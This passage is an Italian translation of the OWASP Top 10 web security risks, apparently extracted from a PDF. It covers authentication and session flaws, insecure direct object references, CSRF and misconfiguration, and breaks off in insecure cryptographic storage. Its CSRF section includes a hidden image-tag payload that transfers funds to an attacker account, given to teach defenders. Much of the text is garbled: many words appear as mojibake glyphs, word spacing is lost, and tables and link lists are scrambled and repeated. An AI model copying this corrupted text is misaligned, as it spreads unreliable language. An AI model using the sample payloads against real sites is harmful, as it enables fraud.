validazionidovrebberodecodificaretutto ƭΩƛƴǇǳǘ, validarela 
lunghezza, i caratteri, i formati e ƭΩŀŘŜǊŜƴȊŀallebusiness rules prima 
di accettarlicome input per ƭΩŀǇǇƭƛŎŀȊƛƻƴŜ.

3.Considerate ƭΩƛǇƻǘŜǎƛdi impiegarela nuovaContent Security Policy
di Mozilla realizzatacon Firefox 4  per proteggersida il XSS.

Cross-Site Scripting (XSS)A2
Problematiche 
di Sicurezza

Vettori di
Attacco

Impatti
TecniciAgenti di

Minaccia

Impatti di
Business

http://www.owasp.org/index.php/Command_Injection
http://www.owasp.org/index.php/XSS_(Cross_Site_Scripting)_Prevention_Cheat_Sheet
http://www.owasp.org/index.php/Cross-site_Scripting_(XSS)
http://www.owasp.org/index.php/Cross-site_Scripting_(XSS)
http://www.owasp.org/index.php/Cross-site_Scripting_(XSS)
http://owasp-esapi-java.googlecode.com/svn/trunk_doc/latest/org/owasp/esapi/Encoder.html
http://owasp-esapi-java.googlecode.com/svn/trunk_doc/latest/org/owasp/esapi/Encoder.html
http://www.owasp.org/index.php/ASVS
http://www.owasp.org/index.php/ASVS
http://www.owasp.org/index.php/Testing_for_Data_Validation
http://www.owasp.org/index.php/Reviewing_Code_for_Cross-site_scripting
http://www.owasp.org/index.php/Command_Injection
http://cwe.mitre.org/data/definitions/79.html
http://cwe.mitre.org/data/definitions/79.html
http://cwe.mitre.org/data/definitions/79.html
http://ha.ckers.org/xss.html
http://ha.ckers.org/xss.html
http://ha.ckers.org/xss.html
http://ha.ckers.org/xss.html
https://developer.mozilla.org/en/Introducing_Content_Security_Policy
https://developer.mozilla.org/en/Introducing_Content_Security_Policy
https://developer.mozilla.org/en/Introducing_Content_Security_Policy
http://www.owasp.org/index.php/XSS_(Cross_Site_Scripting)_Prevention_Cheat_Sheet
http://www.owasp.org/index.php/XSS_(Cross_Site_Scripting)_Prevention_Cheat_Sheet
https://developer.mozilla.org/en/Introducing_Content_Security_Policy


__________
Sfruttamento

MEDIO
Diffusione
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MEDIO

Impatto
SEVERO

__________

Considerare attaccanti 
esterni sconosciuti  o 
utenti noti con propri  
account  che tentano 
di rubare gli account  
di altri. Considerare 
anche possibili utenti 
interni che vogliano 
nascondere le proprie  
azioni.

[ΩŀǘǘŀŎŎŀƴǘŜ ǳǎŀ 
difetti nel sistema di 
gestione  della 
sessione o 
ŘŜƭƭΩŀǳǘŜƴǘƛŎŀȊƛƻƴŜ 
(es.: esposizione delle 
password o degli 
account, identificativi 
della sessione, ecc.) 
per impersonare 
ƭΩǳǘŜƴǘŜΦ

Gli sviluppatori spesso realizzano approcci 
personalizzati di gestione della sessione e 
ŘŜƭƭΩŀǳǘŜƴǘƛŎŀȊƛƻƴŜΣ Ƴŀ ŦŀǊƭƛ ƛƴ ƳŀƴƛŜǊŀ 
corretta è difficile.  Il risultato è che spesso 
questi approcci personalizzati contengono 
difetti nelle aree quali il log-out, la gestione 
ŘŜƭƭŜ ǇŀǎǿƻǊŘΣ ƛƭ ǘƛƳŜƻǳǘΣ ƛƭ άǊƛŎƻǊŘŀƳƛ ǎǳ 
ǉǳŜǎǘƻ ŎƻƳǇǳǘŜǊέΣ ƭŀ ŘƻƳŀƴŘŀ ǎŜƎǊŜǘŀΣ 
ƭΩŀƎƎƛƻǊƴŀƳŜƴǘƻ ŘŜƭƭΩŀŎŎƻǳƴǘΣ ŜŎŎΦ {ŎƻǇǊƛǊŜ ǘŀƭƛ 
difetti può essere difficile,  in quanto ciascuna 
realizzazione è unica.

Tali difetti possono 
consentire un accesso 
diretto verso uno o 
più accounts. In caso 
di successo 
ƭΩŀǘǘŀŎŎŀƴǘŜ ƻǘǘƛŜƴŜ Ǝƭƛ 
stessi privilegi della 
vittima. Obiettivi 
frequenti sono gli 
account dotati di 
privilegi.

Considerareil valore
sulbusiness dei dati o 
dellefunzioni
applicative coinvolti.

Considerareanche
ƭΩƛƳǇŀǘǘƻsulbusiness 
delladivulgazione
ŘŜƭƭΩŜǎƛǎǘŜƴȊŀdella
vulnerabilità.

Esempi di Scenari di Attacco
Scenario #1: [ΩŀǇǇƭƛŎŀǘƛǾƻdi prenotazionedi unalineaaereausaƭΩ 
URL rewriting, mettendoƭΩL5di sessionenellaURL:

http://example.com/sale/saleitems;jsessionid=
2P0OC2JDPXM0OQSNDLPSKHCJUN2JV?dest=Hawaii

Un utente autenticatovuolecondividerecon gli amiciquesta
offerta. Inviaper email il link senzacapirechestaancheinviandoil
suoID di sessione. Quandoi suoiamiciuserannoil link, userannola 
suasessionee la suacartadi credito.

Scenario #2: un Timeout di sessionemale impostato. [ΩǳǘŜƴǘŜusaun 
computer pubblicoper ƭΩŀŎŎŜǎǎƻe invecediŦŀǊŜ άƭƻƎƻǳǘέ chiude
semplicementela schedadel  browser. Un attaccantecheusiquel
browser ǳƴΩƻǊŀdopopotrebbetrovarlo ancoraautenticato.

Scenario #3: un attaccante, interno o esterno, riescead ottenere
ƭΩŀŎŎŜǎǎƻal database dellepassword: se questenon sonocifrate, 
ottiene le password di tutti gli utenti. 

Sono vulnerabile?
Crucialeè la protezionedi credenzialied ID di sessione. 

1.Le credenzialiarchiviatesonoprotette con tecnichedi
offuscamentoo di crittografia? VedereA7.

2.Le credenzialipossonoessereindovinateo sovrascritte(es.: 
creazioneaccount, modificao recuperodellepassword, identificativi
dellasessionedeboli, ecc.)?

3. ID di sessionein chiaronelleURL (es.: URL rewriting)?

4. ID di sessionevulnerabiliad attacchidi Session Fixation?

5.Gli ID hannounascadenza? ƭΩǳǘŜƴǘŜpuò fare log-out?

6.Dopola fasedi Login gli ID di sessionevengonorinnovati?

7.Password, ID di sessionee le altre credenzialisonotrasmessisolo 
suconnessioniTLS? VediA9.

VediASVSsui requisitiV2 e V3 per maggioridettagli.

Riferimenti
OWASP

Per un più completoinsiemedi requisitie dei problemidaevitarein 
ǉǳŜǎǘΩŀǊŜŀvedereASVS requirements areas for Authentication (V2) 
and Session Management (V3).

ÅOWASP Authentication Cheat Sheet

ÅESAPI Authenticator API

ÅESAPI User API

ÅOWASP Development Guide: Chapter on Authentication

ÅOWASP Testing Guide: Chapter on Authentication

Esterni

ÅCWE Entry 287 on Improper Authentication

Come prevenire?
La prima raccomandazioneper ǳƴΩƻǊƎŀƴƛȊȊŀȊƛƻƴŜè di fornire agli
sviluppatori:

1. Un unico set di controlli per la gestione della Strong 
Authentication e delle sessioni. Questoper assicurarsi:

a) Di risponderea tutti i requisitidi gestione
ŘŜƭƭΩŀǳǘŜƴǘƛŎŀȊƛƻƴŜe dellasessioneprevistinel Application 
Security Verification Standard(ASVS) di OWASP nelle aree
V2 (Authentication) e V3 (Session Management).

b) Unasempliceinterfacciaper gli sviluppatori. Considerare
ƭΩESAPIAuthenticator and User APIscome buoniesempida
imitare, usareo ampliare.

2.MassimacuradeveesserepostaƴŜƭƭΩŜǾƛǘŀǊŜdifetti di tipo XSS che
potrebberoconsentiredi sottrarregli ID di sessione. VediA2.

Broken Authentication and 
Session ManagementA3

Problematiche 
di Sicurezza

Vettori di
Attacco

Impatti
TecniciAgenti di

Minaccia

Impatti di
Business

http://www.owasp.org/index.php/ASVS
http://www.owasp.org/index.php/Top_10_2007-Insecure_Direct_Object_Reference
http://www.owasp.org/index.php/ASVS
http://www.owasp.org/index.php/ASVS
http://www.owasp.org/index.php/Authentication_Cheat_Sheet
http://owasp-esapi-java.googlecode.com/svn/trunk_doc/latest/org/owasp/esapi/Authenticator.html
http://owasp-esapi-java.googlecode.com/svn/trunk_doc/latest/org/owasp/esapi/User.html
http://www.owasp.org/index.php/Guide_to_Authentication
http://www.owasp.org/index.php/Testing_for_authentication
http://www.owasp.org/index.php/Command_Injection
http://cwe.mitre.org/data/definitions/287.html
http://www.owasp.org/index.php/ASVS
http://www.owasp.org/index.php/ASVS
http://owasp-esapi-java.googlecode.com/svn/trunk_doc/latest/org/owasp/esapi/Authenticator.html
http://owasp-esapi-java.googlecode.com/svn/trunk_doc/latest/org/owasp/esapi/Authenticator.html
http://owasp-esapi-java.googlecode.com/svn/trunk_doc/latest/org/owasp/esapi/Authenticator.html
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Sfruttamento

FACILE
Diffusione
COMUNE

Individuazione
FACILE

Impatto
MODERATO

__________

Considerarei 
differenti tipi di
utenti del sistema. 
Gliutenti hannosolo 
accessoparzialea 
determinatitipi di
dati presentinel
sistema?

[ΩŀǘǘŀŎŎŀƴǘŜ, utente
autorizzatodel sistema, 
cambia semplicemente
un valoredi un 
parametro, chefa
riferimento diretto ad 
un oggetto, accedendo
ad un altro oggetto
senzacheƭΩǳǘŜƴǘŜabbia
ƭΩŀǳǘƻǊƛȊȊŀȊƛƻƴŜ
necessaria. [ΩŀŎŎŜǎǎƻè 
consentito?

Le applicazioni utilizzano spesso il nome 
effettivo o la chiave di un oggetto durante 
la generazione di pagine web. Le 
applicazioninon sempreverificanose 
ƭΩǳǘŜƴǘŜè autorizzatoŀƭƭΩŀŎŎŜǎǎƻdi un 
determinatooggetto.  Questopuòcausare
unavulnerabilitàchiamataInsecure Direct 
Object Reference. 

Gli addetti al testing possono facilmente 
evidenziare la presenza della vulnerabilità 
sia agendo sui valori dei parametri che 
ŜǎŜƎǳŜƴŘƻ ƭΩŀƴŀƭƛǎƛ ŘŜƭ ŎƻŘƛŎŜΦ

Tali difetti possono 
compromettere tutti i 
dati che sono referenziati  
da quel parametro.

A meno che il name 
space sia offuscato (es: 
nomi e chiavi arbitrari o 
randomici), è semplice 
per un attaccante 
indovinare i riferimenti e 
accedere a tutti i dati di 
quel tipo.

Considerare il valore 
di business dei dati 
esposti.

Considerare anche gli 
impatti sul business in 
relazione alla 
divulgazione della 
vulnerabilità del 
sistema.

Esempio di scenario di attacco
[ΩŀǇǇƭƛŎŀȊƛƻƴŜusadati non verificati in unachiamataSQL cheaccede 
alle informazionidegliutenti:

String query = "SELECT * FROM accts WHERE account = ?";

PreparedStatement pstmt =
connection.prepareStatementόǉǳŜǊȅ Σ Χ ύΤ

pstmt.setString( 1, request.getParameter("acct"));

ResultSet results = pstmt.executeQuery( );

[ΩŀǘǘŀŎŎŀƴǘŜmodificasemplicementeil parametroΨŀŎŎǘΩ ŘŜƭ proprio
browser. Se il parametronon vieneverificato, ƭΩŀƎƎǊŜǎǎƻǊŜoltre al 
proprio account puòaccederea qualsiasialtro account.

http://example.com/app/accountInfo?acct=notmyacct

Sono vulnerabile?
Lƭ ƳƻŘƻ ƳƛƎƭƛƻǊŜ ǇŜǊ ǾŜǊƛŦƛŎŀǊŜ ǎŜ ǳƴΩŀǇǇƭƛŎŀȊƛƻƴŜ ǎƛŀ ŜŦŦŜǘǘƛǾŀƳŜƴǘŜ 
ǾǳƭƴŜǊŀōƛƭŜ ŀƭƭΩLƴǎŜŎǳǊŜ 5ƛǊŜŎǘ hōƧŜŎǘ wŜŦŜǊŜƴŎŜ ŝ ǾŜǊƛŦƛŎŀǊŜ ŎƘŜ tutti
i riferimenti agli oggetti siano opportunamente protetti. Considerare 
che:

1.Per i riferimenti diretti ad una risorsa soggetta a restrizioni di 
ŀŎŎŜǎǎƻ Σ ƭΩŀǇǇƭƛŎŀȊƛƻƴŜ ŘŜǾŜ ǾŜǊƛŦƛŎŀǊŜ ŎƘŜ ƭΩǳǘŜƴǘŜ ǎƛŀ ŀǳǘƻǊƛȊȊŀǘƻ ŀŘ 
accedere alla risorsa richiesta.

2.Se il riferimento è di tipo indiretto , il mapping al riferimento 
ŘƛǊŜǘǘƻ ŘŜǾŜ ŜǎǎŜǊŜ ƭƛƳƛǘŀǘƻ ŀƛ ǾŀƭƻǊƛ ŀǳǘƻǊƛȊȊŀǘƛ ǇŜǊ ƭΩǳǘŜƴǘŜ ŎƻǊǊŜƴǘŜΦ

La revisione del codice può rapidamente verificare se il metodo di 
protezione è stato correttamente implementato. Anche il security 
testing è efficace per individuare eventuali vulnerabilità nei 
riferimenti diretti ad oggetti.  Gli strumenti automatici in genere non 
cercano tali difetti perché non possono conoscere a priori il livello di 
protezione ed autorizzazione adeguato di una  risorsa.

Riferimenti
OWASP

ÅOWASP Top 10-2007 on Insecure Dir Object References

ÅESAPI Access Reference Map API

ÅESAPI Access Control API(See isAuthorizedForData(), 
isAuthorizedForFile(), isAuthorizedForFunction() )

Per ulteriori requisiti di controllo di accesso, vedere 
ASVS requirements area for Access Control (V4).

External

ÅCWE Entry 639 on Insecure Direct Object References

ÅCWE Entry 22 on Path Traversal(which is an example of a Direct 
Object Reference attack)

Come prevenire?
Prevenirele vulnerabilitàdi Insecure Direct Object Reference 
richiededi adottareun approccioper ciascunarisorsaaccessibile
ŘŀƭƭΩǳǘŜƴǘŜ(es: object ID, nomefile):

1. Utilizzare i riferimenti ad oggetti indiretti assegnati per utente o 
sessione. Ciòserve a prevenirechegli attaccantipossanoaccederea 
risorseper le qualinon sonoautorizzati. Per esempio, invece di 
utilizzare la chiave della risorsa del database, sottoporre all'utente 
una lista indicizzata con i valori che l'utente può utilizzare, ad 
ŜǎŜƳǇƛƻ Řŀ м ŀ сΦ [ΩŀǇǇƭƛŎŀȊƛƻƴŜ ŘŜǾŜ Ǉƻƛ ƳŀǇǇŀǊŜ ƛƭ ǾŀƭƻǊŜ Řƛ ƛƴǇǳǘ 
ƴŜƭƭΩŀǘǘǳŀƭŜchiavedel database sulserver. h²!{tΩǎ 9{!tLinclude 
metodi di accessosequenzialee random a reference mapsche
possonoessereutilizzatia questoscopo.

2. Controllo ŘŜƭƭΩŀŎŎŜǎǎƻ. Ogni utilizzo di un riferimento diretto ad 
un oggetto da una fonte non attendibile, deve prevedere un 
controllo di accesso per garantire che l'utente sia autorizzato a tale 
accesso.

Insecure Direct Object ReferencesA4
Problematiche 
di Sicurezza
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http://www.owasp.org/index.php/Top_10_2007-Insecure_Direct_Object_Reference
http://www.owasp.org/index.php/Top_10_2007-Insecure_Direct_Object_Reference
http://www.owasp.org/index.php/Top_10_2007-Insecure_Direct_Object_Reference
http://www.owasp.org/index.php/Top_10_2007-Insecure_Direct_Object_Reference
http://owasp-esapi-java.googlecode.com/svn/trunk_doc/latest/org/owasp/esapi/AccessReferenceMap.html
http://owasp-esapi-java.googlecode.com/svn/trunk_doc/org/owasp/esapi/AccessReferenceMap.html
http://owasp-esapi-java.googlecode.com/svn/trunk_doc/latest/org/owasp/esapi/AccessController.html
http://www.owasp.org/index.php/ASVS
http://www.owasp.org/index.php/Command_Injection
http://cwe.mitre.org/data/definitions/639.html
http://cwe.mitre.org/data/definitions/22.html
http://www.owasp.org/index.php/ESAPI
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__________

Considerareche
chiunquepuò forzare
gli utenti generando
unarichiestasuun 
sito web. Qualsiasi 
sito o codice HTML 
può effettuare tali 
richieste. 

[ΩŀǘǘŀŎŎŀƴǘŜ ŎǊŜŀ 
richieste HTTP  
malevoli ingannando 
la vittima attraverso 
immagini, tag, XSS o 
numerose altre 
ǘŜŎƴƛŎƘŜΦ {Ŝ ƭΩǳǘŜƴǘŜ ŝ 
ŀǳǘŜƴǘƛŎŀǘƻΣ ƭΩŀǘǘŀŎŎƻ 
riesce.

CSRFè favorito dalleapplicazioniche
permettonoŀƭƭΩŀǘǘŀŎŎŀƴǘŜdi prevederetutti i
dettaglidi unaparticolarefunzioneapplicativa. 
Datochei browser invianoautomaticamente
le credenzialicome cookie di sessione, 
ƭΩŀǘǘŀŎŎŀƴǘŜpuòcrearepagineweb malevoli
chegeneranorichiestecontraffatte, 
indistinguibilidaquellelegittime. 
[ΩƛƴŘƛǾƛŘǳŀȊƛƻƴŜdi vulnerabilitàdi CSRF è 
abbastanzasempliceattraversopenetration 
test o code analysis.

[ΩŀǘǘŀŎŎŀƴǘŜ ǇǳƼ 
forzare le vittime a 
modificare le 
informazioni  
ǎǳƭƭΩŀǇǇƭƛŎŀȊƛƻƴŜ 
bersaglio o ad 
utilizzare tutte le 
funzioni alle quali la 
vittima ha accesso. 

Considerare il valore 
di business delle 
informazioni e delle 
funzioni applicative, 
non essendo sicuri 
che siano gli utenti 
effettivi ad usarle.

Considerare anche  
ƭΩƛƳǇŀǘǘƻ ǎǳƭƭŀ 
reputazione.
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[ΩŀǇǇƭƛŎŀȊƛƻƴŜpermetteŀƭƭΩǳǘŜƴǘŜdi avereaccessoallafunzionedi
trasferimentofondi senzaincluderealcuntoken, ad esempio:

http://example.com/app/transferFunds?amount=1500
&destinationAccount=4673243243

CosìƭΩŀǘǘŀŎŎŀƴǘŜstruttura unarichiestachepermettedi trasferire
fondi dalcontodellavittima al proprio. Dunqueinseriscela richiesta
ƴŜƭƭΩƛƴŘƛǊƛȊȊƻŘŜƭƭΩƛƳƳŀƎƛƴŜ, oppureun iframenei siti checontrolla:

<img src="http://example.com/app/transferFunds?
amount=1500&destinationAccount=attackersAcct#ά
width="0" height="0" />

Se la vittima visitaunodi questisiti quandoè autenticatosu
example.com, tutte le richiestemalevoleincluderannoanchele 
informazionidi sessioneŘŜƭƭΩǳǘŜƴǘŜautenticato, autorizzandola 
richiesta.

Sono vulnerabile?
Il modopiù facile per controllarese ǳƴΩŀǇǇƭƛŎŀȊƛƻƴŜweb è 
vulnerabileè verificarese tutti i link e i form contengonoun token 
non prevedibileper ogniutente. SenzaquestoƭΩŀǘǘŀŎŎŀƴǘŜpuò
generarerichiestemalevoli. FocalizzareƭΩŀǘǘŜƴȊƛƻƴŜsulink e form 
cheinvocanofunzioniparticolarmenteimportanti, in quantosono
spessoi principalibersaglidel CSRF.

Vannocontrollateanchele operazionia più step, in quantonon 
sononaturalmenteimmuni. [ΩŀǘǘŀŎŎŀƴǘŜ, utilizzandotag multipli o 
codiceJavascript, può facilmentegenerarenon una, ma unaseriedi
richiestemalevoli.

Notarechei cookie di sessione, ƭΩƛƴŘƛǊƛȊȊƻIP sorgentee le altre
informazionichesonosolitamenteinviatein automaticodalbrowser 
potrebberoesserestate alterate.

Il CSRF Tester ŘŜƭƭΩh²!{tpermettedi generaredei test case per 
dimostrarela pericolositàdellevulnerabilitàCSRF.

Riferimenti
OWASP

ÅOWASP CSRF Article

ÅOWASP CSRF Prevention Cheat Sheet

ÅOWASP CSRFGuard- CSRF Defense Tool 

ÅESAPI Project Home Page 

ÅESAPI HTTPUtilitiesClass with AntiCSRFTokens

ÅOWASP Testing Guide: Chapter on CSRF Testing

ÅOWASP CSRFTester- CSRF Testing Tool 

Esterni

ÅCWE Entry 352 on CSRF 

Come prevenire?
Per prevenireil CSRF è necessarioincluderetoken non prevedibili
nel corpo della pagina o negli URL di ogni richiesta HTTP. Come 
minimo, questi token dovrebbero essere unici per ogni sessione
utente, anche se sarebbe meglio ƭΩǳǘƛƭƛȊȊƻdi token unici per ogni
richiesta.

1. [ΩƻǇȊƛƻƴŜ ǇǊŜŦŜǊƛōƛƭŜ è includere il token in un campo nascosto. 
Ciò permette che il token venga inviato nel corpo della richiesta, 
ŜǾƛǘŀƴŘƻ Řƛ ƛƴŎƭǳŘŜǊƭƻ ƴŜƭƭΩ¦w[Σ ŎƘŜ ŝ ǇƛǴ ǎƻƎƎŜǘǘƻ ŀ ƛƴǘŜǊŎŜǘǘŀȊƛƻƴƛΦ

2. Il token puòancheessereinclusoƴŜƭƭΩ¦w[, o come parametro
ƴŜƭƭΩƛƴŘƛǊƛȊȊƻ. Però, in questomodo, se ƭΩ¦w[vieneintercettato
ŘŀƭƭΩŀǘǘŀŎŎŀƴǘŜ, sicorreil rischio di compromettereil token.

Il CSRF Guarddi OWASP puòessereusatoper includere
automaticamentequestitoken nellapropriaapplicazioneJAVA EE, 
.NET o PHP. Le librerie ESAPIdi OWASP includonogeneratorie 
validatoridi token chegli sviluppatoripossonousareper proteggere
le proprieapplicazioni.

Cross-Site Request Forgery
(CSRF)A5
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http://www.owasp.org/index.php/CSRFTester
http://www.owasp.org/index.php/Command_Injection
http://www.owasp.org/index.php/CSRF
http://www.owasp.org/index.php/Cross-Site_Request_Forgery_(CSRF)_Prevention_Cheat_Sheet
http://www.owasp.org/index.php/CSRFGuard
http://www.owasp.org/index.php/CSRFGuard
http://www.owasp.org/index.php/CSRFGuard
http://www.owasp.org/index.php/CSRFGuard
http://www.owasp.org/index.php/CSRFGuard
http://www.owasp.org/index.php/CSRFGuard
http://www.owasp.org/index.php/ESAPI
http://owasp-esapi-java.googlecode.com/svn/trunk_doc/latest/org/owasp/esapi/HTTPUtilities.html
http://owasp-esapi-java.googlecode.com/svn/trunk_doc/latest/org/owasp/esapi/HTTPUtilities.html
http://owasp-esapi-java.googlecode.com/svn/trunk_doc/latest/org/owasp/esapi/HTTPUtilities.html
http://owasp-esapi-java.googlecode.com/svn/trunk_doc/latest/org/owasp/esapi/HTTPUtilities.html
http://owasp-esapi-java.googlecode.com/svn/trunk_doc/latest/org/owasp/esapi/HTTPUtilities.html
http://owasp-esapi-java.googlecode.com/svn/trunk_doc/latest/org/owasp/esapi/HTTPUtilities.html
http://owasp-esapi-java.googlecode.com/svn/trunk_doc/latest/org/owasp/esapi/HTTPUtilities.html
http://www.owasp.org/index.php/Testing_for_CSRF_(OWASP-SM-005)
http://www.owasp.org/index.php/CSRFTester
http://www.owasp.org/index.php/CSRFTester
http://www.owasp.org/index.php/CSRFTester
http://www.owasp.org/index.php/CSRFTester
http://www.owasp.org/index.php/CSRFTester
http://www.owasp.org/index.php/CSRFTester
http://www.owasp.org/index.php/Command_Injection
http://cwe.mitre.org/data/definitions/352.html
http://www.owasp.org/index.php/CSRFGuard
http://www.owasp.org/index.php/ESAPI
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__________

Attaccantiesternio 
utenti interni che
tentino di
compromettereil
sistemaoppuredegli
insider chevogliano
mascherarele proprie
azioni.

[ΩŀǘǘŀŎŎŀƴǘŜpuò
usarecredenzialidi
default, paginenon 
più usate, 
vulnerabilitànon 
risolte, file e cartelle
non protetti, ecc. per 
accedereal sistemao 
raccogliere
informazioniriservate.

Glierrori di configurazionepossono
presentarsia qualsiasilivello dello stack 
applicativocome: piattaforma, web server, 
application server, framework e  codice
personalizzato. Sviluppatorie amministratori
di rete devonolavorareinsiemeper assicurare
cheƭΩƛƴǘŜǊƻstack siacorrettamente
configurato. Gliscanner automaticisonoutili
per scovarepatch mancanti, errori di
configurazione, credenzialidi default, servizi
non necessari, ecc.

Alcune vulnerabilità 
permettono 
ŀƭƭΩŀǘǘŀŎŎŀƴǘŜ Řƛ ŀǾŜǊŜ 
accesso non 
autorizzato a sistemi, 
dati o funzionalità. A 
volte, alcune di queste 
compromettono 
ƭΩƛƴǘŜǊƻ ǎƛǎǘŜƳŀΦ

Il sistemapuòessere
compromessosenza
lasciareevidenze. I 
dati possonoessere
rubati o modificatinel
tempo. 

Glieventualicostidi
recuperopossono
essereelevati.
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Scenario #1: È statoutilizzatoun framework di sviluppoche
presenta, in alcunecomponenti, dellevulnerabilitàXSS. 
[ΩŀƎƎƛƻǊƴŀƳŜƴǘƻper risolverleè statorilasciatoma le librerie non 
sonostate aggiornatee le vulnerabilitàsonosfruttabili.

Scenario #2: La componenteamministrativadel Server è stata
installataautomaticamente, non è statarimossae le credenzialidi
default non sonostate cambiate. [ΩŀǘǘŀŎŎŀƴǘŜpuò trovare
facilmentetale componentee utilizzarele credenzialidi default per 
prendereil controllo del server.

Scenario #3: Il Directory Listing non è statodisabilitato. [ΩŀǘǘŀŎŎŀƴǘŜ
scoprechepuòottenere la listadei file e scaricarele classijava 
compilate. [ΩŀŎŎŜǎǎƻal codicepermetteunaricercadelle
vunerabilitàpiù velocee pratica.

Scenario #4: La configurazioneŘŜƭƭΩ!ǇǇServer permette la 
visualizzazionedello stack trace, esponendoeventualifalle. Gli
attaccantiamanoottenere le informazionitramite i messaggidi
errore.

Sono vulnerabile?
Tutto lo stack applicativoè statoconfiguratocorrettamente?

1.È presenteun processoper la gestionedegliaggiornamenti 
software? OS, Web/Application Server, Database, Applicazionie 
Librerie?

2.Tutti gli elementinon strettamentenecessarisonostati
disabilitati, rimossio non installati? (es. porte, servizi, pagine, 
account, privilegi)

3.Le credenzialidi default sonostate cambiate/disabilitate?

4.La gestionedeglierrori è stataconfigurataper prevenirela 
visualizzazionedi messaggichepotrebberorilasciareinformazioni
utili?

5.Le impostazionidi sicurezzadei framework (es. Struts, Spring, 
ASP.NET) sonoopportunamenteconfigurate?

È necessarioun processobenstrutturato e ripetibile per 
implementaree mantenerele configurazioniin sicurezza.

Riferimenti
OWASP

ÅOWASP Development Guide: Chapter on Configuration

ÅOWASP Code Review Guide: Chapter on Error Handling

ÅOWASP Testing Guide: Configuration Management

ÅOWASP Testing Guide: Testing for Error Codes

ÅOWASP Top 10 2004 - Insecure Configuration Management 

Per i requisitiaddizionali: ASVS requirements area for Security 
Configuration (V12).

Esterni

ÅPC Magazine Article on Web Server Hardening

ÅCWE Entry 2 on Environmental Security Flaws

ÅCIS Security Configuration Guides/Benchmarks

Come prevenire?
Le principaliraccomandazioniconsistonoƴŜƭƭΩƛƳǇƭŜƳŜƴǘŀǊŜ:

1.Un processoripetibile per la messain sicurezzadei variambienti
coinvoltinello sviluppodel software. Gliambientidi Sviluppo, QA e 
Produzionedevonoesseretutti configuratiallo stessomodo. Questo
processodovrebbeessereautomatizzatoper minimizzareƭΩŜŦŦƻǊǘ
richiesto.

2.Un processoper lagestionedegliaggiornamenti software per ogni
ambientecoinvolto. In questoprocessovannoinclusianchegli
aggiornamenti di tutte le librerie di codice, chesono
frequentementetralasciate.

3.Unasolidaarchitetturaapplicativachepermettedi tenere
separatii vari componenti.

4.Effettuarescansionie audit periodiciper identificareeventuali
errori di configurazioneo aggiornamenti mancanti.

Security MisconfigurationA6
Problematiche 
di Sicurezza

Vettori di
Attacco

Impatti
TecniciAgenti di

Minaccia

Impatti di
Business

http://www.owasp.org/index.php/Top_10_2007-Insecure_Direct_Object_Reference
http://www.owasp.org/index.php/Configuration
http://www.owasp.org/index.php/Error_Handling
http://www.owasp.org/index.php/Testing_for_configuration_management
http://www.owasp.org/index.php/Testing_for_Error_Code_(OWASP-IG-006)
http://www.owasp.org/index.php/A10_2004_Insecure_Configuration_Management
http://www.owasp.org/index.php/A10_2004_Insecure_Configuration_Management
http://www.owasp.org/index.php/A10_2004_Insecure_Configuration_Management
http://www.owasp.org/index.php/A10_2004_Insecure_Configuration_Management
http://www.owasp.org/index.php/ASVS
http://www.owasp.org/index.php/ASVS
http://www.owasp.org/index.php/Command_Injection
http://www.pcmag.com/article2/0,2817,11525,00.asp
http://cwe.mitre.org/data/definitions/2.html
http://cisecurity.org/en-us/?route=downloads.benchmarks


__________
Sfruttamento

DIFFICILE
Diffusione

POCO COMUNE
Individuazione

DIFFICILE
Impatto

ALTO
__________

Gliutenti del proprio
sistema, che
potrebberoaccedere
a dati protetti senza
opportuna
autorizzazione, 
compresigli
amministratoridi
sistema.

Tipicamente gli 
attacchi vengono  
effettuati 
individuando le chiavi 
crittografiche, le  
copie in chiaro dei 
dati o accedendovi 
quando i dati sono 
ancora in chiaro.

La vulnerabilità più comune consiste nel non 
cifrare i dati che dovrebbero esserlo. Se invece 
i dati sono cifrati, è una pratica diffusa usare 
chiavi poco robuste o algoritmi deboli. Se sono 
ǇǊŜǎŜƴǘƛ ƘŀǎƘΣ ŝ ŦǊŜǉǳŜƴǘŜ ƭΩǳǘƛƭƛȊȊƻ Řƛ 
ŀƭƎƻǊƛǘƳƛ Řƛ ŘŜōƻƭƛ Ŝ ƭΩŀǎǎŜƴȊŀ ŘŜƭ ǎŀƭǘΦ 
Gli attaccanti esterni hanno generalmente 
difficoltà ad individuare queste vulnearbilità. 
Avendo un accesso limitato devono prima 
sfruttare altre vulnerabilità per accedere ai 
dati.

Sfruttandoquesto
attaccoè spesso
possibile
compromettere i dati
chedovrebbero
essereprotetti come 
dati sanitari, 
credenzaliŘΩŀŎŎŜǎƻ, 
dati di carte di credito, 
ecc.

Considerare il valore 
ŜŎƻƴƻƳƛŎƻ Ŝ ƭΩƛƳǇŀǘǘƻ 
sulla reputazione in 
caso di furto o perdita  
dei dati. Quali sono le  
responsabilità legali  
correlate alla gestione 
dei dati?

Esempi di Scenari ŘΩ!ǘǘŀŎŎƻ
Scenario #1: ¦ƴΩŀǇǇƭƛŎŀȊƛƻƴŜcifra i dati dellecarte di credito
ŀƭƭΩƛƴǘŜǊƴƻdi un database per prevenirnela visionead utenti esterni
ma ŀƭƭΩƛƴǘŜǊƴƻdel database sonopresentiquery chedecifrano
automaticamentequestidati, permettendo, tramite unaSQL 
Injection, di ottenerli in chiaro. Il sistemadovrebbepermettere
solamentealleapplicazionidi back-end di decifrarei dati, evitando
tali operazionidalleapplicazioniweb di front-end.

Scenario #2: È statoeffettuato un backup sualcunidati sanitarima la 
chiaveè inseritasullostessobackup. Il supportodove è presenteil
backup non vieneconsegnato.

Scenario #3: Il database dellepassword utilizzahash senzasalt. Una
vulnerabilitànel meccanismodi upload permetteŀƭƭΩŀǘǘŀŎŎŀƴǘŜdi
ottenere il file dellepassword. Tramitebrute force è possibile
ottenere le password senzasalt in 4 settimane, mentreper hash con 
opportuni salt ci sarebberovoluti 3000 anni.

Sono vulnerabile?
Innanzituttobisognadeterminarequalidati necessitanodella
cifratura. Per esempiodati sanitari, dati di carte di credito, password 
ed informazionipersonalidevonoesserecifrati assicurandosiche:

1.Sianocifrati in qualsiasipunto venganosalvati, in particolarenelle
copiedi backup.

2.Solo gli utenti autorizzatipossanoaccederea copiedei dati in 
chiaro(per esempioattraversoil controllodegliaccessi. CfrA4 ςA8)

3.Siautilizzatoun algoritmostandard di cifraturaritenuto robusto.

4.Sianoutilizzatechiavirobuste, debitamenteprotette daaccessi
non autorizzaticambiateperiodicamente.

Per un insiemepiù completodi problematichedaevitare: ASVS 
requirements on Cryptography (V7)

Riferimenti
OWASP

Per un insiemepiù completodi requisitie problemidaevitare
